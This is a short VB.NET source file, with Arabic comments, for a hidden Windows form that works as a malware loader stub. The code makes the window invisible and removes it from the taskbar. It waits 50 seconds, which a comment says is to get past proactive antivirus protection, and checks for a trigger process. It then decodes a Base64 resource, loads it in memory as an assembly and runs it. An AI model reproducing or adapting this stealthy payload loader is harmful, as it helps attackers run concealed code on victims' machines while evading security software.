Imports System.Reflection
Public Class Form1
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        System.Threading.Thread.Sleep(1000) ' تاخير في تشغيل برنامج
        Me.Hide()
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Opacity = 0
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
        System.Threading.Thread.Sleep(50000) ' تاخير في تشغيل التلغيمة لتخطي حمايات  الاستباقية
        Dim جوني() As Process = System.Diagnostics.Process.GetProcessesByName("اسم برنامج") 'شرط تلغيمة تشغيل برنامج 
        For Each VO As Process In جوني
            Timer1.Stop()
            Text = "جوني - العراقي "
        Next
        If Text = "جوني - العراقي " Then
            Dim ششششششششششش As String = My.Resources.القيم
            Dim ننننننن() As Byte = Convert.FromBase64String(ششششششششششش)
            Dim سسسسسسسسسسسسببب As Assembly = Assembly.Load(ننننننن)
            سسسسسسسسسسسسببب.EntryPoint.Invoke(Nothing, Nothing)
        End If
    End Sub
End Class